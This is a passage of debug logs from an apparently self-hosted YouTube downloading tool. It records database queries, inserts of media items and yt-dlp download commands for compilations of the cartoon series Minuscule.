"live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=IF2FOhWnsYM", "playlist_index" => 21, "timestamp" => 1759399235, "title" => "Hyperactive | Minuscule 🍃 70' Compilation", "upload_date" => "20251002"} 00:48:26.215 [debug] QUERY OK source="sources" db=0.6ms idle=1569.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:48:26.216 [debug] QUERY OK source="sources" db=0.4ms idle=1571.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:26.218 [debug] QUERY OK source="media_items" db=0.9ms idle=1571.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-02 10:00:35Z], 4] 00:48:26.222 [debug] QUERY OK source="media_items" db=2.4ms idle=1082.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Hyperactive | S01E54\n00:04:41 | A Bee’s Night Out | S01E51\n00:09:29 | Nap Time | S01E14\n00:14:18 | Horsefly | S01E21\n00:18:59 | The Wild Bunch | S01E74\n00:23:38 | The Good Education | S01E56\n00:28:25 | Leech | S01E73\n00:32:50 | The Last Supper | S01E25\n00:37:39 | Insect High Velocity | S01E53\n00:42:18 | No Exit | S01E61\n00:46:57 | The Ladybug | S01E01\n00:51:33 | The Zzzzzz Patrol | S01E39\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#hyperactive #baby #bees #trouble #bee #night #lost #home #Minuscule #nature #insects #ladybugs #animatedseries", "Hyperactive | Minuscule 🍃 70' Compilation", "5aeb0236-14a5-4fbd-956e-de15c709f1f7", "IF2FOhWnsYM", 3403, false, 4, "https://www.youtube.com/watch?v=IF2FOhWnsYM", 21, "/downloads/Miniscule Season 1/2025-10-02 Hyperactive | Minuscule 🍃 70' Compilation/Hyperactive | Minuscule 🍃 70' Compilation [IF2FOhWnsYM].mkv", false, false, false, [], 1, ~U[2025-10-02 10:00:35Z], ~U[2025-12-14 07:48:26Z], ~U[2025-12-14 07:48:26Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Hyperactive | S01E54\n00:04:41 | A Bee’s Night Out | S01E51\n00:09:29 | Nap Time | S01E14\n00:14:18 | Horsefly | S01E21\n00:18:59 | The Wild Bunch | S01E74\n00:23:38 | The Good Education | S01E56\n00:28:25 | Leech | S01E73\n00:32:50 | The Last Supper | S01E25\n00:37:39 | Insect High Velocity | S01E53\n00:42:18 | No Exit | S01E61\n00:46:57 | The Ladybug | S01E01\n00:51:33 | The Zzzzzz Patrol | S01E39\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#hyperactive #baby #bees #trouble #bee #night #lost #home #Minuscule #nature #insects #ladybugs #animatedseries", "Hyperactive | Minuscule 🍃 70' Compilation", "IF2FOhWnsYM", 3403, false, 4, "https://www.youtube.com/watch?v=IF2FOhWnsYM", "/downloads/Miniscule Season 1/2025-10-02 Hyperactive | Minuscule 🍃 70' Compilation/Hyperactive | Minuscule 🍃 70' Compilation [IF2FOhWnsYM].mkv", false, ~U[2025-10-02 10:00:35Z]] 00:48:26.222 [debug] QUERY OK source="sources" db=0.3ms idle=83.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:26.223 [debug] QUERY OK source="media_profiles" db=0.2ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:48:26.224 [debug] QUERY OK source="media_items" db=0.5ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [98298] 00:48:26.224 [debug] Current batch of media processed. Will check again in 1000ms 00:48:27.017 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=cw7aFgAQz7A --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Miniscule Season 1/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:2160,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Miniscule Season 1/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/54/67/5467a672e6cf885ea983d5a1df3b03eeb2dd811fe40b76000167c7b18d84b813.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 00:48:27.027 [debug] Running yt-dlp command for action: download_thumbnail 00:48:27.029 [debug] QUERY OK source="settings" db=0.4ms idle=810.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:48:27.029 [debug] QUERY OK source="settings" db=0.2ms idle=807.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:48:27.030 [debug] QUERY OK source="settings" db=0.2ms idle=807.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:48:27.030 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=cw7aFgAQz7A --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/102836/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/31/d9/31d9af23d6c76c69577915ce53d9d59bd4bd18ca0c63ee0d6146c17f8f48cf8f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 00:48:27.225 [debug] Current batch of media processed. Will check again in 1000ms 00:48:28.226 [debug] Current batch of media processed. Will check again in 1000ms 00:48:29.227 [debug] Current batch of media processed. Will check again in 1000ms 00:48:30.228 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Quest For The Pink Lollipop | S01E32\n00:04:40 | The Noodle Battle | S01E70\n00:09:15 | Ants | S01E02\n00:14:04 | The Infernal Anthill | S01E35\n00:18:24 | The Last Supper | S01E25\n00:23:13 | The Dung Beetle Battle | S01E15\n00:27:58 | Cherry Tomato | S01E77\n00:32:37 | The Bridge On The River Zzzzzzz | S01E18\n00:37:24 | A Cruel World | S01E46\n00:42:13 | Ladybugs | S01E17\n00:46:52 | The Wild Bunch | S01E74\n00:51:31 | The Ladybug | S01E01\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#quest #lollipop #ants #battle #noodle #spider #fly #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3399, "filename" => "/downloads/Miniscule Season 1/2025-09-20 The Quest For The Pink Lollipop 🍭 Minuscule 🍃 70' Compilation/The Quest For The Pink Lollipop 🍭 Minuscule 🍃 70' Compilation [A_VDP0fnvRw].mkv", "id" => "A_VDP0fnvRw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=A_VDP0fnvRw", "playlist_index" => 22, "timestamp" => 1758391215, "title" => "The Quest For The Pink Lollipop 🍭 Minuscule 🍃 70' Compilation", "upload_date" => "20250920"} 00:48:30.229 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1583.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:48:30.230 [debug] QUERY OK source="sources" db=0.3ms idle=1584.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:30.231 [debug] QUERY OK source="media_items" db=1.0ms idle=1086.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-20 18:00:15Z], 4] 00:48:30.379 [debug] QUERY OK source="media_items" db=145.9ms idle=587.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Quest For The Pink Lollipop | S01E32\n00:04:40 | The Noodle Battle | S01E70\n00:09:15 | Ants | S01E02\n00:14:04 | The Infernal Anthill | S01E35\n00:18:24 | The Last Supper | S01E25\n00:23:13 | The Dung Beetle Battle | S01E15\n00:27:58 | Cherry Tomato | S01E77\n00:32:37 | The Bridge On The River Zzzzzzz | S01E18\n00:37:24 | A Cruel World | S01E46\n00:42:13 | Ladybugs | S01E17\n00:46:52 | The Wild Bunch | S01E74\n00:51:31 | The Ladybug | S01E01\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#quest #lollipop #ants #battle #noodle #spider #fly #Minuscule #nature #insects #ladybugs #animatedseries", "The Quest For The Pink Lollipop 🍭 Minuscule 🍃 70' Compilation", "a33b98f7-bb61-4650-965b-622c65584a6c", "A_VDP0fnvRw", 3399, false, 4, "https://www.youtube.com/watch?v=A_VDP0fnvRw", 22, "/downloads/Miniscule Season 1/2025-09-20 The Quest For The Pink Lollipop 🍭 Minuscule 🍃 70' Compilation/The Quest For The Pink Lollipop 🍭 Minuscule 🍃 70' Compilation [A_VDP0fnvRw].mkv", false, false, false, [], 1, ~U[2025-09-20 18:00:15Z], ~U[2025-12-14 07:48:30Z], ~U[2025-12-14 07:48:30Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Quest For The Pink Lollipop | S01E32\n00:04:40 | The Noodle Battle | S01E70\n00:09:15 | Ants | S01E02\n00:14:04 | The Infernal Anthill | S01E35\n00:18:24 | The Last Supper | S01E25\n00:23:13 | The Dung Beetle Battle | S01E15\n00:27:58 | Cherry Tomato | S01E77\n00:32:37 | The Bridge On The River Zzzzzzz | S01E18\n00:37:24 | A Cruel World | S01E46\n00:42:13 | Ladybugs | S01E17\n00:46:52 | The Wild Bunch | S01E74\n00:51:31 | The Ladybug | S01E01\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#quest #lollipop #ants #battle #noodle #spider #fly #Minuscule #nature #insects #ladybugs #animatedseries", "The Quest For The Pink Lollipop 🍭 Minuscule 🍃 70' Compilation", "A_VDP0fnvRw", 3399, false, 4, "https://www.youtube.com/watch?v=A_VDP0fnvRw", "/downloads/Miniscule Season 1/2025-09-20 The Quest For The Pink Lollipop 🍭 Minuscule 🍃 70' Compilation/The Quest For The Pink Lollipop 🍭 Minuscule 🍃 70' Compilation [A_VDP0fnvRw].mkv", false, ~U[2025-09-20 18:00:15Z]] 00:48:30.379 [debug] QUERY OK source="sources" db=0.4ms idle=232.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:30.380 [debug] QUERY OK source="media_profiles" db=0.3ms idle=150.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:48:30.381 [debug] QUERY OK source="media_items" db=0.6ms idle=150.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [97513] 00:48:30.381 [debug] Current batch of media processed. Will check again in 1000ms 00:48:31.126 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:31.383 [debug] Current batch of media processed. Will check again in 1000ms 00:48:32.384 [debug] Current batch of media processed. Will check again in 1000ms 00:48:33.385 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Quiet! | S01E60\n00:04:41 | No Luck | S01E62\n00:09:24 | Out Of A Tin Can | S01E65\n00:13:59 | The Persevering One | S01E31\n00:18:40 | The Escapist | S01E59\n00:23:09 | The Mosquito | S01E58\n00:27:18 | Bless You! | S01E66\n00:31:30 | King Size Camembert | S01E45\n00:36:08 | Nap Time | S01E14\n00:40:57 | Windswept | S01E68\n00:45:46 | Interior Cobwebs | S01E64\n00:50:13 | The Winter Of Our Discontent | S01E67\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Quiet #Interior #Faucet #Spider #Luck #Chase #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3334, "filename" => "/downloads/Miniscule Season 1/2025-09-18 Quiet! | Minuscule 🍃 65' Compilation/Quiet! | Minuscule 🍃 65' Compilation [TY1vE-0csIE].mp4", "id" => "TY1vE-0csIE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=TY1vE-0csIE", "playlist_index" => 23, "timestamp" => 1758189662, "title" => "Quiet! | Minuscule 🍃 65' Compilation", "upload_date" => "20250918"} 00:48:33.386 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1740.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:48:33.386 [debug] QUERY OK source="sources" db=0.2ms idle=1741.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:33.387 [debug] QUERY OK source="media_items" db=0.7ms idle=1236.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-18 10:01:02Z], 4] 00:48:33.390 [debug] QUERY OK source="media_items" db=1.6ms idle=743.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Quiet! | S01E60\n00:04:41 | No Luck | S01E62\n00:09:24 | Out Of A Tin Can | S01E65\n00:13:59 | The Persevering One | S01E31\n00:18:40 | The Escapist | S01E59\n00:23:09 | The Mosquito | S01E58\n00:27:18 | Bless You! | S01E66\n00:31:30 | King Size Camembert | S01E45\n00:36:08 | Nap Time | S01E14\n00:40:57 | Windswept | S01E68\n00:45:46 | Interior Cobwebs | S01E64\n00:50:13 | The Winter Of Our Discontent | S01E67\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Quiet #Interior #Faucet #Spider #Luck #Chase #Minuscule #nature #insects #ladybugs #animatedseries", "Quiet! | Minuscule 🍃 65' Compilation", "63c64aa1-69cd-457e-a140-7d1686ed485d", "TY1vE-0csIE", 3334, false, 4, "https://www.youtube.com/watch?v=TY1vE-0csIE", 23, "/downloads/Miniscule Season 1/2025-09-18 Quiet! | Minuscule 🍃 65' Compilation/Quiet! | Minuscule 🍃 65' Compilation [TY1vE-0csIE].mp4", false, false, false, [], 1, ~U[2025-09-18 10:01:02Z], ~U[2025-12-14 07:48:33Z], ~U[2025-12-14 07:48:33Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Quiet! | S01E60\n00:04:41 | No Luck | S01E62\n00:09:24 | Out Of A Tin Can | S01E65\n00:13:59 | The Persevering One | S01E31\n00:18:40 | The Escapist | S01E59\n00:23:09 | The Mosquito | S01E58\n00:27:18 | Bless You! | S01E66\n00:31:30 | King Size Camembert | S01E45\n00:36:08 | Nap Time | S01E14\n00:40:57 | Windswept | S01E68\n00:45:46 | Interior Cobwebs | S01E64\n00:50:13 | The Winter Of Our Discontent | S01E67\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Quiet #Interior #Faucet #Spider #Luck #Chase #Minuscule #nature #insects #ladybugs #animatedseries", "Quiet! | Minuscule 🍃 65' Compilation", "TY1vE-0csIE", 3334, false, 4, "https://www.youtube.com/watch?v=TY1vE-0csIE", "/downloads/Miniscule Season 1/2025-09-18 Quiet! | Minuscule 🍃 65' Compilation/Quiet! | Minuscule 🍃 65' Compilation [TY1vE-0csIE].mp4", false, ~U[2025-09-18 10:01:02Z]] 00:48:33.390 [debug] QUERY OK source="sources" db=0.2ms idle=238.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", 